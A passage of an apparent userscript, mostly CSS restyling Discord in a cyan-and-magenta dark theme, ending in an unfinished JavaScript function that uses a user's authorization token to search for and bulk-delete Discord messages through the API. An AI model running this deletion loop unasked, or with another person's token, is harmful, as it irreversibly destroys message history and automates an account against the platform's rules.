.theme-dark .resultsGroup-r_nuzN .header-2N-gMV, .theme-dark .resultsGroup-r_nuzN .plusIcon-v0BTrL, .theme-dark .resultsGroup-r_nuzN .searchClearHistory-2cSSMO, .theme-dark .resultsGroup-r_nuzN .searchLearnMore-3SQUAj a {
    color: #0abdc6;
}
.theme-dark .resultsGroup-r_nuzN:hover .header-2N-gMV:hover, .theme-dark .resultsGroup-r_nuzN:hover .plusIcon-v0BTrL:hover, .theme-dark .resultsGroup-r_nuzN:hover .searchClearHistory-2cSSMO:hover, .theme-dark .resultsGroup-r_nuzN:hover .searchLearnMore-3SQUAj:hover a {
    color: #ea00d9;
}
.theme-dark .option-96V44q:after {
    background: none;
}
.theme-dark .option-96V44q .answer-1n6g43, .theme-dark .option-96V44q .nonText-3CRkO0, .theme-dark .option-96V44q strong {
    color: #ea00d9;
}
.theme-dark .option-96V44q.selected-rZcOL- {
    background-color: rgba(19, 62, 124, .6);
}
.theme-dark .option-96V44q.selected-rZcOL-:after {
    background: none;
}
.theme-dark .focused-2bY0OD {
    background-color: #000b1e;
}
.theme-dark .queryContainer-RKFJW- {
    color: #0abdc6;
    border-bottom-color: rgba(19, 62, 124,.3);
}
.theme-dark .queryContainer-RKFJW- strong {
    color: #ea00d9;
}
.theme-dark .option-96V44q .filter-3Y_im- {
    color: rgba(10, 189, 198, .7);
}
.theme-dark .dim-1l4L4y span {
    background-color: #133e7c;
    color: #0abdc6;
}
.theme-dark .keybindShortcut-1BD6Z1 span {
    color: #0abdc6;
    -webkit-box-shadow: inset 0 -4px 0 rgba(0, 11, 30,.6);
    box-shadow: inset 0 -4px 0 rgba(0, 11, 30,.6);
    border: 1px solid #091833;
    background-color: #133e7c;
}
.theme-dark .option-96V44q.user-O3Czj0 .displayedNick-3xxvzU {
    color: #ea00d9;
}
.theme-dark .option-96V44q.user-O3Czj0 .displayUsername-Qekxml {
    color: #711c91;
}
.theme-dark .searchResultChannelCategory-1l0lSn, .theme-dark .searchResultChannelIcon-1DnTme {
    color: #0abdc6;
}
.theme-dark .jumpButton-Ia2hRJ {
    background-color: #133e7c;
    color: #0abdc6;
}
.theme-dark .jumpButton-Ia2hRJ:hover {
    background-color: #711c91;
    color: #0abdc6;
}

/* 6.2.1. Search results */
.theme-dark .searchAnswer-3Dz2-q, .theme-dark .searchFilter-2ESiM3 {
    background-color: #000b1e;
    color: #0abdc6;
}
.theme-dark .searchHeader-1l-wpR .tab-2Ixsn0, .theme-dark .searchHeader-1l-wpR .totalResults-gxvzgw {
    color: #0abdc6;
}
.theme-dark .searchHeader-1l-wpR {
    background-color: #000b1e;
    -webkit-box-shadow: 0 1px 0 rgba(0,0,0,.2);
    box-shadow: 0 1px 0 rgba(0,0,0,.2);
}
.theme-dark .searchHeader-1l-wpR .tab-2Ixsn0.selected-16te-P, .theme-dark .searchHeader-1l-wpR .tab-2Ixsn0:hover {
    border-bottom: 2px solid #ea00d9;
}
.theme-dark .channelSeparator-1X1FuH .channelName-1QajIf {
    color: #0abdc6;
    background-color: #000b1e;
}
.theme-dark .channelSeparator-1X1FuH:before {
    border-color: #0abdc6;
}
.theme-dark .searchResultsWrap-2DKFzt {
    background-color: #000b1e;
}
.theme-dark .searchResult-3pzFAB .hit-NLlWXA {
    background-color: #091833;
    -webkit-box-shadow: 0 0 10px 6px #133e7c;
    box-shadow: 0 0 10px 6px #133e7c;
}
.theme-dark .searchResult-3pzFAB .searchResultMessage-2VxO12.hit-NLlWXA {
    border: 2px solid rgba(19, 62, 124,.6);
}
.theme-dark .searchResult-3pzFAB:after {
    background-image: -webkit-gradient(linear,left top,left bottom,from(#000b1e),to(#091833));
    background-image: linear-gradient(180deg,#000b1e,#091833);
}
.theme-dark .searchResult-3pzFAB:before {
    background-image: -webkit-gradient(linear,left bottom,left top,from(#000b1e),to(#091833));
    background-image: linear-gradient(0deg,#000b1e,#091833);
}
.theme-dark .emptyResultsWrap-3Kv0LQ, .theme-dark .errorWrap-MWdRCA {
    color: #0abdc6;
}
.theme-dark .searchResult-3pzFAB.expanded-v2Szsz .searchResultMessage-2VxO12.hit-NLlWXA {
    border-top: 2px solid rgba(10, 189, 198, .6);
    border-bottom: 2px solid rgba(10, 189, 198, .6);
    background-color: #133e7c;
}
.highlight {
    background: rgba(113, 28, 145, .8);
}

/* 6.3. Mentions */
#app-mount > div:nth-child(4) > div.popouts-2bnG9Z.da-popouts > div > div > div.header-ykumBX.da-header.header-2Kf7Yu.da-header.header-3LXPrb.da-header > div.headerTabBarWrapper-27xBDe.da-headerTabBarWrapper > div.tabBar-2UKwcE.da-tabBar.top-28JiJ- > div {
    color: #0abdc6 !important;
}
.theme-dark .mentionFilter-1PQ6ey .label-12YslM {
    color: rgba(10, 189, 198, .8);
}
.theme-dark .mentionFilter-1PQ6ey .value-2k8Drt {
    color: #0abdc6;
}


/* 7. Member list */
.theme-dark .headerNormal-T_seeN {
    background-color: #000b1e;
}
.userPopout-3XzG_A {
    -webkit-box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .2), 0 0 0 1px rgba(10, 189, 198, .6);
    box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .2), 0 0 0 1px rgba(10, 189, 198, .6);
}
.headerName-fajvi9, .headerTagUsernameNoNickname-2_H881 {
    color: #0abdc6;
}
.headerTag-2pZJzA {
    color: rgba(10, 189, 198, .6);
}
.theme-dark .bodyInner-245q0L, .theme-dark .footer-1fjuF6 {
    background-color: #091833;
}
.bodyTitle-Y0qMQz {
    color: rgba(10, 189, 198, .8);
}
.theme-dark .quickMessage-1yeL4E {
    background-color: #133e7c;
    border-color: #000b1e;
    color: #0abdc6;
}
.statusGreen-168O6Q {
    color: #00ff00;
}
.theme-dark .bodyInner-245q0L, .theme-dark .footer-1fjuF6 {
    color: rgba(10, 189, 198, .8);
}

/* 7.1. Member playing */
.headerPlaying-j0WQBV, .headerStreaming-2FjmGz {
    background: #711c91;
}
.theme-dark .activityProfile-2bJRaP .headerText-1HLrL7, .theme-dark .activityUserPopout-2yItg2 .headerText-1HLrL7, .theme-light .activityProfile-2bJRaP .headerText-1HLrL7, .theme-light .activityUserPopout-2yItg2 .headerText-1HLrL7 {
    color: #0abdc6;
}
.activityName-1IaRLn {
    color: #0abdc6;
}
.theme-dark .activityProfile-2bJRaP .content-3JfFJh, .theme-dark .activityProfile-2bJRaP .details-38sfDr, .theme-dark .activityProfile-2bJRaP .name-29ETJS, .theme-dark .activityUserPopout-2yItg2 .content-3JfFJh, .theme-dark .activityUserPopout-2yItg2 .details-38sfDr, .theme-dark .activityUserPopout-2yItg2 .name-29ETJS, .theme-light .activityProfile-2bJRaP .content-3JfFJh, .theme-light .activityProfile-2bJRaP .details-38sfDr, .theme-light .activityProfile-2bJRaP .name-29ETJS, .theme-light .activityUserPopout-2yItg2 .content-3JfFJh, .theme-light .activityUserPopout-2yItg2 .details-38sfDr, .theme-light .activityUserPopout-2yItg2 .name-29ETJS {
    color: rgba(10, 189, 198, .8);
}

/* 8. Library */

/* 8.1. Gifts Inventory */
.theme-dark .header-3YT7-d {
    color: #0abdc6;
}
.theme-dark .inputPrompt-1vnYnD {
    color: #0abdc6;
}
.theme-dark .emptyStateHeader-1ADtcL, .theme-dark .header-2HrZI4 {
    color: #0abdc6;
}
.theme-dark .emptyStateSubtext-2njjqg {
    color: #0abdc6;
}


/* 9. Friends */
.theme-dark .container-1D34oG {
    background-color: #091833;
}
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.layers-3q14ss.da-layers > div > div > div.base-3dtUhz.da-base > div > div.container-3gCOGc.da-container > div.container-1r6BKw.da-container.themed-ANHk51.da-themed > div.children-19S4PO.da-children > div.tabBar-1E2ExX.da-tabBar.topPill-30KHOu > div:nth-child(5) {
    background-color: #133e7c !important;
    color: #0abdc6 !important;
}
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.layers-3q14ss.da-layers > div > div > div.base-3dtUhz.da-base > div > div.container-3gCOGc.da-container > div.container-1r6BKw.da-container.themed-ANHk51.da-themed > div.children-19S4PO.da-children > div.tabBar-1E2ExX.da-tabBar.topPill-30KHOu > div:nth-child(5):hover {
    background-color: #711c91 !important;
}
.friendsTable-133bsv .friendsRow-2yicud .friendsColumnActions-1LT3_M .friendsAction-__WNE9.actionDeny-18IZiW:hover {
    background-color: #ff0000!important;
    color: #d7d7d5;
}
.theme-dark .inset-3sAvek {
    background-color: rgba(19, 62, 124, .6);
}
.theme-dark .outer-1AjyKL.active-1xchHY, .theme-dark .outer-1AjyKL.interactive-3B9GmY:hover {
    background-color: #091833;
}
div.item-3HknzM:nth-child(5) {
    color: #0abdc6 !important;
    background-color: #133e7c !important;
}
div.item-3HknzM:nth-child(5):hover {
    background-color: #711c91 !important;
}

/* 9.1. Groups */
.theme-dark .subtitle-2P4u9v {
    color: #0abdc6;
}
.theme-dark .friend-3KALPe {
    color: #0abdc6;
}
.lookFilled-1Gx00P.colorBrand-3pXr91:disabled {
    background-color: rgba(19, 62, 124, .6);
}
.theme-dark .friendSelected-1sa4bG {
    background-color: rgba(19, 62, 124, .6);
}

/* 9.2. Friend PLaying Modal */
.topSectionPlaying-1J5E4n {
    background: #711c91;
}
.username-3gJmXY {
    color: #0abdc6;
}
.discriminator-xUhQkU {
    color: #0abdc6;
}
.additionalActionsIcon-1FoUlE {
    color: #0abdc6;
}
#app-mount > div:nth-child(4) > div:nth-child(2) > div.modal-3c3bKg.da-modal > div.inner-1ilYF7.da-inner > div > div.topSectionPlaying-1J5E4n.da-topSectionPlaying > div > div.tabBarContainer-1s1u-z.da-tabBarContainer > div > div {
    color: #0abdc6 !important;
}

/* 9.3. Call */
.theme-dark .transparent-2ZlE3R.container-1r6BKw, .theme-light .transparent-2ZlE3R.container-1r6BKw {
    background: #000b1e;
}
.theme-dark .transparent-2ZlE3R .icon-22AiRD, .theme-light .transparent-2ZlE3R .icon-22AiRD {
    color: #0abdc6;
}
.theme-dark .transparent-2ZlE3R .title-29uC1r:not(.titleMuted-LYRtm8), .theme-light .transparent-2ZlE3R .title-29uC1r:not(.titleMuted-LYRtm8) {
    color: #0abdc6;
}
.theme-dark .transparent-2ZlE3R .clickable-3rdHwn:hover .icon-22AiRD, .theme-light .transparent-2ZlE3R .clickable-3rdHwn:hover .icon-22AiRD {
    color: #ea00d9;
}
.theme-dark .transparent-2ZlE3R .clickable-3rdHwn .icon-22AiRD, .theme-light .transparent-2ZlE3R .clickable-3rdHwn:hover .icon-22AiRD {
    color: #0abdc6;
}
.theme-dark .wrapper-29NfPK {
    background-color: #000b1e !important;
}
.video-1FfuMD {
    background-color: #000b1e !important;
}
.theme-dark .quickSelect-3BxO0K {
    color: #0abdc6;
}
.lookFilled-1Gx00P.colorGreen-29iAKY:hover {
    background-color: #711c91;
}
.lookFilled-1Gx00P.colorGreen-29iAKY {
    color: #0abdc6;
    background-color: #133e7c;
}
.theme-dark .wrapper-29NfPK.minimum-2d6zH6 .actions-2vadYq .center-1Vp33r {
    border-color: #091833;
    background-color: #091833;
}
.lookFilled-1Gx00P.colorRed-1TFJan {
    color: #0abdc6;
    background-color: #133e7c;
}
.lookFilled-1Gx00P.colorRed-1TFJan:hover {
    background-color: #711c91;
}
.theme-dark .quickSelectPopout-X1hvgV {
    background: #000b1e;
    color: #0abdc6;
}
.theme-dark .regionSelectName-c5qL8O {
    color: #0abdc6;
}
.theme-dark .quickSelectPopoutOption-opKBx9:hover {
    background-color: #133e7c;
}
.theme-dark .incomingCallInner-2VmFiR {
    background: #000b1e;
    border-color: #0abdc6;
}
.theme-dark .container-3-pyIM .content-2M3n_H .actionAnchor-gzc_5z {
    color: #ea00d9;
}

/* 9.4. Video Call */
.colorable-1bkp8v.green-plH-Mj {
    background: #133e7c;
}
.colorable-1bkp8v.green-plH-Mj, .colorable-1bkp8v.green-plH-Mj .centerIcon-2G6o-T {
    color: #0abdc6;
}
.colorable-1bkp8v.green-plH-Mj.active-1QRrIS {
    background: #133e7c;
}
.colorable-1bkp8v.green-plH-Mj:hover {
    background: #711c91;
}
.colorable-1bkp8v.red-33-Lnk.active-1QRrIS, .colorable-1bkp8v.red-33-Lnk:hover {
    background: #711c91;
}
.colorable-1bkp8v.red-33-Lnk, .colorable-1bkp8v.red-33-Lnk .centerIcon-2G6o-T {
    color: #0abdc6;
}
.colorable-1bkp8v.red-33-Lnk {
    background: #133e7c;
}
.colorable-1bkp8v.primaryDark-3mSFDl, .colorable-1bkp8v.primaryDark-3mSFDl .centerIcon-2G6o-T {
    color: #0abdc6;
}
.colorable-1bkp8v.primaryDark-3mSFDl {
    background: #133e7c;
}
.colorable-1bkp8v.primaryDark-3mSFDl:hover {
    background: #711c91;
}
.colorDefault-2K3EoJ.focused-3afm-j {
    background-color: #711c91;
    color: #0abdc6;
}
.colorable-1bkp8v.primaryDark-3mSFDl.active-1QRrIS {
    background: #ea00d9;
}
.colorDefault-2K3EoJ .checkbox-3s5GYZ, .colorDefault-2K3EoJ .radioSelection-1HmrQS {
    color: #711c91;
}
.colorDefault-2K3EoJ.focused-3afm-j .checkbox-3s5GYZ, .colorDefault-2K3EoJ.focused-3afm-j .radioSelection-1HmrQS, .colorDefault-2K3EoJ.focused-3afm-j .subtext-13Lvrj {
    color: #ea00d9;
}
.controlIcon-35oS15 {
    color: #0abdc6;
}
.controlIcon-35oS15:hover {
    color: #ea00d9;
}

/* 10. Quickswitcher */
.theme-dark .keybindShortcut-1BD6Z1 span .bindArrow-2X3Aom g {
    fill: #0abdc6;
}
.tutorialMessages-12mfId {
    color: #0abdc6;
}

/* 11. Settings */
.theme-dark #bd-settings-sidebar .ui-tab-bar-header {
    color: #0abdc6;
}
.theme-dark #bd-settings-sidebar .ui-tab-bar-item {
    color: #0abdc6;
}
.theme-dark #bd-settings-sidebar .ui-tab-bar-separator {
    background-color: rgba(10, 189, 198, .2);
}
.theme-dark .foreground-26ym5y {
    fill: #0abdc6;
}
.theme-dark .link-1IoFq-:hover .foreground-26ym5y {
    fill: #ea00d9;
}
.theme-dark #bd-settings-sidebar .ui-tab-bar-header {
    color: #0abdc6;
}
#bd-settings-sidebar > span > div {
    color: #0abdc6 !important;
}
#user-settings > div:nth-child(3) > div > div.sidebarRegion-VFTUkN.da-sidebarRegion > div > div > div > div > div:nth-child(26) {
    color: #ff0000 !important;
}

/* 11.1. Apps */
.lookOutlined-3sRXeN.colorRed-1TFJan:hover {
    border-color: #ff0000;
}
.lookOutlined-3sRXeN.colorRed-1TFJan {
    color: #ff0000;
    border-color: rgba(255,0,0,.4);
}

/* 11.2. Connections */
.connectionHeader-2MDqhu {
    background: rgba(0, 11, 30, 1);
    border-bottom: 1px solid rgba(19, 62, 124, .15);
}
.connectionHeader-2MDqhu .connectionAccountValue-3VdBGs {
    color: #0abdc6;
}
.subEnabledTitle-2ElRo_ {
    color: #ea00d9;
}

/* 11.3. Payments */
.theme-dark .codeRedemptionRedirect-1wVR4b {
    color: #0abdc6;
    background-color: #000b1e;
    border-color: #133e7c;
}
.theme-dark .subText-2Zhkkh, .theme-light .subText-2Zhkkh {
    color: rgba(10, 189, 198, .6);
}

/* 11.4. Nitro */
.theme-dark .tier1Banner-1B_WXY {
    background-color: #000b1e;
    color: #0abdc6;
}
.theme-dark .iconIncluded-2xYFq5 {
    color: #00ff00;
}

/* 11.4. Voice */
.barFill-23-gu- {
    background: #ea00d9;
}
.grabber-3mFHz2 {
    background-color: #0abdc6;
    border: 1px solid #0abdc6;
}
.theme-dark .bar-2Qqk5Z {
    background: #133e7c;
}
.theme-dark .progress-1IcQ3A {
    background: #133e7c;
}
.theme-dark .bubble-3we2di {
    background-color: #000b1e;
}
.theme-dark .bubble-3we2di:before {
    border-top-color: #000b1e;
}
.bubble-3we2di {
    color: #ea00d9;
}
.theme-dark .userSettingsVoice-iwdUCU .previewOverlay-2O7_KC {
    background-color: #000b1e;
    border-color: #133e7c;
}

/* 11.5. Game Activity */
.theme-dark .notDetected-33MY4s, .theme-light .notDetected-33MY4s {
    background-color: #133e7c;
}
.theme-dark .notDetected-33MY4s .gameName-1RiWHm, .theme-light .notDetected-33MY4s .gameName-1RiWHm {
    color: #0abdc6;
}
.theme-dark .notDetected-33MY4s .lastPlayed-3bQ7Bo, .theme-light .notDetected-33MY4s .lastPlayed-3bQ7Bo {
    color: #0abdc6;
}
.theme-dark .nowPlayingAdd-1Kdmh_, .theme-light .nowPlayingAdd-1Kdmh_ {
    color: #0abdc6;
}
.theme-dark .gameName-1RiWHm {
    color: #ea00d9;
}
.theme-dark .lastPlayed-3bQ7Bo, .theme-dark .overlayStatusText-L2IACa {
    color: #0abdc6;
}
.theme-dark .game-1ipmAa {
    -webkit-box-shadow: 0 1px 0 0 rgba(19, 62, 124, .6);
    box-shadow: 0 1px 0 0 rgba(19, 62, 124, .6);
}

/* 11.6. Change history */
.theme-dark .root-1gCeng {
    background-color: #091833;
}
.theme-dark .date-2WJGyu {
    color: #0abdc6;
}
.added-e1Pp41 {
    color: #00ff00;
}
.added-e1Pp41:after {
    background-color: #00ff00;
}
.theme-dark .content-8biNdB p, .theme-dark .content-8biNdB ul li {
    color: #0abdc6;
}
.theme-dark .content-8biNdB ul li:before {
    background-color: #0abdc6;
}
.fixed-22Vcez {
    color: #ff0000;
}
.fixed-22Vcez:after {
    background-color: #ff0000;
}
.progress-1fjoBz {
    color: #f57800;
}
.progress-1fjoBz:after {
    background-color: #f57800;
}
.improved-1F5LIN {
    color: #ea00d9;
}
.improved-1F5LIN:after {
    background-color: #ea00d9;
}

/* 11.7. Other */
.ghostPill-2-KUPM {
    color: #ffff00;
    background-color: rgba(19, 62, 124, .3);
}
.theme-dark .searchResultsContainer-1ma_dc {
    background-color: #000b1e;
    -webkit-box-shadow: 0 1px 5px 1px #133e7c;
    box-shadow: 0 1px 5px 1px #133e7c;
}
.theme-dark .searchOption-8nCYo-.selected-1r_nkg {
    background-color: #133e7c;
}
.theme-dark .emptyUsers--hiToV {
    background-color: #000b1e;
    border-color: #133e7c;
}
.theme-dark .item-3eFBNF {
    -webkit-box-shadow: inset 0 -1px 0 0 rgba(19, 62, 124, .6);
    box-shadow: inset 0 -1px 0 0 rgba(19, 62, 124, .6);
}

/* 11.8. BetterDiscord Settings */
.theme-dark #bd-settings-sidebar .ui-tab-bar-item.selected {
    background-color: rgba(113, 28, 145, .6);
    color: #0abdc6;
}
.theme-dark #bd-settings-sidebar .ui-tab-bar-item:hover {
    background-color: rgba(19, 62, 124, .6);
    color: #0abdc6;
}
.theme-dark #bd-settingspane-container h2.ui-form-title {
    color: #0abdc6;
}
.theme-dark #bd-settingspane-container .ui-switch-item h3 {
    color: #ea00d9;
}
.theme-dark #bd-settingspane-container .ui-switch-item .style-description {
    color: #0abdc6;
}
#bd-settingspane-container .ui-switch-item .ui-switch-wrapper .ui-switch {
    background: #133e7c;
}
#bd-settingspane-container .ui-switch-item .ui-switch-wrapper .ui-switch:before {
    background: #0abdc6;
}
#bd-settingspane-container .ui-switch-item .ui-switch-wrapper .ui-switch.checked {
    background: #711c91;
}
.bd-pfbtn {
    background: #133e7c;
    color: #0abdc6;
}
.bd-pfbtn:hover {
    background: #711c91;
    color: #0abdc6;
}
.theme-dark .bda-slist li {
    background-color: #000b1e;
    color: #0abdc6;
    border-color: #133e7c;
}
.theme-dark .bda-slist .bda-header {
    color: #0abdc6;
    border-bottom-color: rgba(19, 62, 124, 0.5);
}
.theme-dark .bda-slist .bda-description {
    color: rgba(10, 189, 198, .7);
}
.bda-slist .bda-footer a {
    color: #ea00d9;
}
.bda-slist .bda-footer button {
    background: #133e7c;
    color: #0abdc6;
}
#bd-settings-sidebar div {
    color: #0abdc6 !important;
}
.bd-toast.toast-success {
    background-color: #711c91;
    color: #0abdc6;
}
.standardSidebarView-3F1I7i #editor-detached h3 {
    color: #0abdc6;
}
.standardSidebarView-3F1I7i #editor-detached button {
    background: #133e7c;
    color: #0abdc6;
}
.standardSidebarView-3F1I7i #editor-detached button:hover {
    background: #711c91;
    color: #0abdc6;
}

/* 12. Dialogs */

/* 12.1. Quality Survey */
.theme-dark .header-sJd8D7 {
    color: #0abdc6;
}
.theme-dark .footer-2gL1pp {
    background-color: #000b1e;
    -webkit-box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
    box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
}
.theme-dark .checkbox-3kaeSU .checkboxInner-3yjcPe span {
    border-color: #0abdc6;
}

/* 12.2. New Device Dialog */
.lookLink-9FtZy-.colorBrand-3pXr91 {
    color: #ea00d9;
}

/* 12.3. News */
.theme-dark .date-1k6kG2 {
    color: #0abdc6;
}
.added-2hLRj3 {
	color: #00ff00;
}
.added-2hLRj3::after {
	background-color: #00ff00;
}
.theme-dark .content-s2SEQO ol, .theme-dark .content-s2SEQO p, .theme-dark .content-s2SEQO ul li {
	color: #0abdc6;
}
.content-s2SEQO a {
	color: #ea00d9;
}
.progress-YsDrV- {
	color: #f57800;
}
.progress-YsDrV-::after {
	background-color: #f57800;
}
.fixed-3zCC84 {
	color: #ff0000;
}
.fixed-3zCC84::after {
	background-color: #ff0000;
}
.theme-dark .content-s2SEQO ul li::before {
	background-color: #0abdc6;
}

/* 12.4. Desktop App */
.noticeDefault-362Ko2 {
	background-color: rgba(113, 28, 145, .6);
	color: #0abdc6;
}
.theme-dark .button-1MICoQ, .theme-light .button-1MICoQ {
	background-color: #133e7c;
}
.button-1MICoQ {
	border: 1px solid #0abdc6;
	color: #0abdc6;
}
.theme-dark .button-1MICoQ:hover, .theme-light .button-1MICoQ:hover {
	border-color: #0abdc6;
	background-color: #711c91;
}
.noticeDefault-362Ko2 .button-1MICoQ:hover {
	color: #0abdc6;
}

/* 13. Transparency */
.theme-dark {
    --background-primary: rgba(9, 24, 51, .4);
    --background-secondary: rgba(0, 11, 30, .4);
    --background-tertiary: rgba(0, 11, 30, .4);
    --deprecated-panel-background: rgba(9, 24, 51, .4);
    --channeltextarea-background: rgba(19, 62, 124, .7);
    --background-secondary-alt: rgba(9, 24, 51, .7)

}
.theme-dark .container-1D34oG {
    background-color: rgba(9, 24, 51, .4)
}
.theme-dark .inset-3sAvek {
    background-color: rgba(19, 62, 124, .2);
}
.theme-dark .outer-1AjyKL.active-1xchHY, .theme-dark .outer-1AjyKL.interactive-3B9GmY:hover {
    background-color: rgba(9, 24, 51, .4)
}
`;
if (typeof GM_addStyle !== "undefined") {
  GM_addStyle(css);
} else {
  let styleNode = document.createElement("style");
  styleNode.appendChild(document.createTextNode(css));
  (document.querySelector("head") || document.documentElement).appendChild(styleNode);
}
})();


async function deleteMessages(authToken, authorId, guildId, channelId, minId, maxId, content, hasLink, hasFile, includeNsfw, includePinned, searchDelay, deleteDelay, extLogger, stopHndl, onProgress) {
    const start = new Date();
    let delCount = 0;
    let failCount = 0;
    let avgPing;
    let lastPing;
    let grandTotal;
    let throttledCount = 0;
    let throttledTotalTime = 0;
    let offset = 0;
    let iterations = -1;

    const wait = async ms => new Promise(done => setTimeout(done, ms));
    const msToHMS = s => `${s / 3.6e6 | 0}h ${(s % 3.6e6) / 6e4 | 0}m ${(s % 6e4) / 1000 | 0}s`;
    const escapeHTML = html => html.replace(/[&<"']/g, m => ({ '&': '&amp;', '<': '&lt;', '"': '&quot;', '\'': '&#039;' })[m]);
    const redact = str => `<span class="priv">${escapeHTML(str)}</span><span class="mask">REDACTED</span>`;
    const queryString = params => params.filter(p => p[1] !== undefined).map(p => p[0] + '=' + encodeURIComponent(p[1])).join('&');
    const ask = async msg => new Promise(resolve => setTimeout(() => resolve(window.confirm(msg)), 10));
    const printDelayStats = () => log.verb(`Delete delay: ${deleteDelay}ms, Search delay: ${searchDelay}ms`, `Last Ping: ${lastPing}ms, Average Ping: ${avgPing | 0}ms`);
    const toSnowflake = (date) => /:/.test(date) ? ((new Date(date).getTime() - 1420070400000) * Math.pow(2, 22)) : date;

    const log = {
        debug() { extLogger ? extLogger('debug', arguments) : console.debug.apply(console, arguments); },
        info() { extLogger ? extLogger('info', arguments) : console.info.apply(console, arguments); },
        verb() { extLogger ? extLogger('verb', arguments) : console.log.apply(console, arguments); },
        warn() { extLogger ? extLogger('warn', arguments) : console.warn.apply(console, arguments); },
        error() { extLogger ? extLogger('error', arguments) : console.error.apply(console, arguments); },
        success() { extLogger ? extLogger('success', arguments) : console.info.apply(console, arguments); },
    };

    async function recurse() {
        let API_SEARCH_URL;
        if (guildId === '@me') {
            API_SEARCH_URL = `https://discord.com/api/v6/channels/${channelId}/messages/`; // DMs
        }
        else {
            API_SEARCH_URL = `https://discord.com/api/v6/guilds/${guildId}/messages/`; // Server
        }

        const headers = {
            'Authorization': authToken
        };

        let resp;
        try {
            const s = Date.now();
            resp = await fetch(API_SEARCH_URL + 'search?' + queryString([
                ['author_id', authorId || undefined],
                ['channel_id', (guildId !== '@me' ? channelId : undefined) || undefined],
                ['min_id', minId ? toSnowflake(minId) : undefined],
                ['max_id', maxId ? toSnowflake(maxId) : undefined],
                ['sort_by', 'timestamp'],
                ['sort_order', 'desc'],
                ['offset', offset],
                ['has', hasLink ? 'link' : undefined],
                ['has', hasFile ? 'file' : undefined],
                ['content', content || undefined],
                ['include_nsfw', includeNsfw ? true : undefined],
            ]), { headers });
            lastPing = (Date.now() - s);
            avgPing = avgPing > 0 ? (avgPing * 0.9) + (lastPing * 0.1) : lastPing;
        } catch (err) {
            return log.error('Search request threw an error:', err);
        }

        // not indexed yet
        if (resp.status === 202) {
            const w = (await resp.json()).retry_after;
            throttledCount++;
            throttledTotalTime += w;
            log.warn(`This channel wasn't indexed, waiting ${w}ms for discord to index it...`);
            await wait(w);
            return await recurse();
        }

        if (!resp.ok) {
            // searching messages too fast
            if (resp.status === 429) {
                const w = (await resp.json()).retry_after;
                throttledCount++;
                throttledTotalTime += w;
                searchDelay += w; // increase delay
                log.warn(`Being rate limited by the API for ${w}ms! Increasing search delay...`);
                printDelayStats();
                log.verb(`Cooling down for ${w * 2}ms before retrying...`);

                await wait(w * 2);
                return await recurse();
            } else {
                return log.error(`Error searching messages, API responded with status ${resp.status}!\n`, await resp.json());
            }
        }

        const data = await resp.json();
        const total = data.total_results;
        if (!grandTotal) grandTotal = total;
        const discoveredMessages = data.messages.map(convo => convo.find(message => message.hit === true));
        const messagesToDelete = discoveredMessages.filter(msg => {
            return msg.type === 0 || msg.type === 6 || (msg.pinned && includePinned);
        });
        const skippedMessages = discoveredMessages.filter(msg => !messagesToDelete.find(m => m.id === msg.id));

        const end = () => {
            log.success(`Ended at ${new Date().toLocaleString()}! Total time: ${msToHMS(Date.now() - start.getTime())}`);
            printDelayStats();
            log.verb(`Rate Limited: ${throttledCount} times. Total time throttled: ${msToHMS(throttledTotalTime)}.`);
            log.debug(`Deleted ${delCount} messages, ${failCount} failed.\n`);
        }

        const etr = msToHMS((searchDelay * Math.round(total / 25)) + ((deleteDelay + avgPing) * total));
        log.info(`Total messages found: ${data.total_results}`, `(Messages in current page: ${data.messages.length}, To be deleted: ${messagesToDelete.length}, System: ${skippedMessages.length})`, `offset: ${offset}`);
        printDelayStats();
        log.verb(`Estimated time remaining: ${etr}`)


        if (messagesToDelete.length > 0) {

            if (++iterations < 1) {
                log.verb(`Waiting for your confirmation...`);
                if (!await ask(`Do you want to delete ~${total} messages?\nEstimated time: ${etr}\n\n---- Preview ----\n` +
                    messagesToDelete.map(m => `${m.author.username}#${m.author.discriminator}: ${m.attachments.length ? '[ATTACHMENTS]' : m.content}`).join('\n')))
                    return end(log.error('Aborted by you!'));
                log.verb(`OK`);
            }

            for (let i = 0; i < messagesToDelete.length; i++) {
                const message = messagesToDelete[i];
                if (stopHndl && stopHndl() === false) return end(log.error('Stopped by you!'));

                log.debug(`${((delCount + 1) / grandTotal * 100).toFixed(2)}% (${delCount + 1}/${grandTotal})`,
                    `Deleting ID:${redact(message.id)} <b>${redact(message.author.username + '#' + message.author.discriminator)} <small>(${redact(new Date(message.timestamp).toLocaleString())})</small>:</b> <i>${redact(message.content).replace(/\n/g, '↵')}</i>`,
                    message.attachments.length ? redact(JSON.stringify(message.attachments)) : '');
                if (onProgress) onProgress(delCount + 1, grandTotal);

                let resp;
                try {
                    const s = Date.now();
                    const API_DELETE_URL = `https://discord.com/api/v6/channels/${message.channel_id}/messages/${message.id}`;
                    resp = await fetch(API_DELETE_URL, {
                        headers,
                        method: 'DELETE'
                    });
                    lastPing = (Date.now() - s);
                    avgPing = (avgPing * 0.9) + (lastPing * 0.1);
                    delCount++;
                } catch (err) {
                    log.error('Delete request throwed an error:', err);
                    log.verb('Related object:', redact(JSON.stringify(message)));
                    failCount++;
                }

                if (!resp.ok) {
                    // deleting messages too fast
                    if (resp.status === 429) {
                        const w = (await resp.json()).retry_after;
                        throttledCount++;
                        throttledTotalTime += w;
                        deleteDelay = w; // increase delay
                        log.warn(`Being rate limited by the API for ${w}ms! Adjusted delete delay to ${deleteDelay}ms.`);
                        printDelayStats();
                        log.verb(`Cooling down for ${w * 2}ms before retrying...`);
                        await wait(w * 2);
                        i--; // retry
                    } else {
                        log.error(`Error deleting message, API responded with status ${resp.status}!`, await resp.json());
                        log.verb('Related object:', redact(JSON.stringify(message)));
                        failCount++;
                    }
                }

                await wait(deleteDelay);
            }

            if (skippedMessages.length > 0) {
                grandTotal -= skippedMessages.length;
                offset += skippedMessages.length;
                log.verb(`Found ${skippedMessages.length} system messages! Decreasing grandTotal to ${grandTotal} and increasing offset to ${offset}.`);
            }

            log.verb(`Searching next messages in ${searchDelay}ms...`, (offset ? `(offset: ${offset})` : ''));
            await wait(searchDelay);

            if (stopHndl && stopHndl() === false) return end(log.error('Stopped by you!'));

            return await recurse();
        } else {
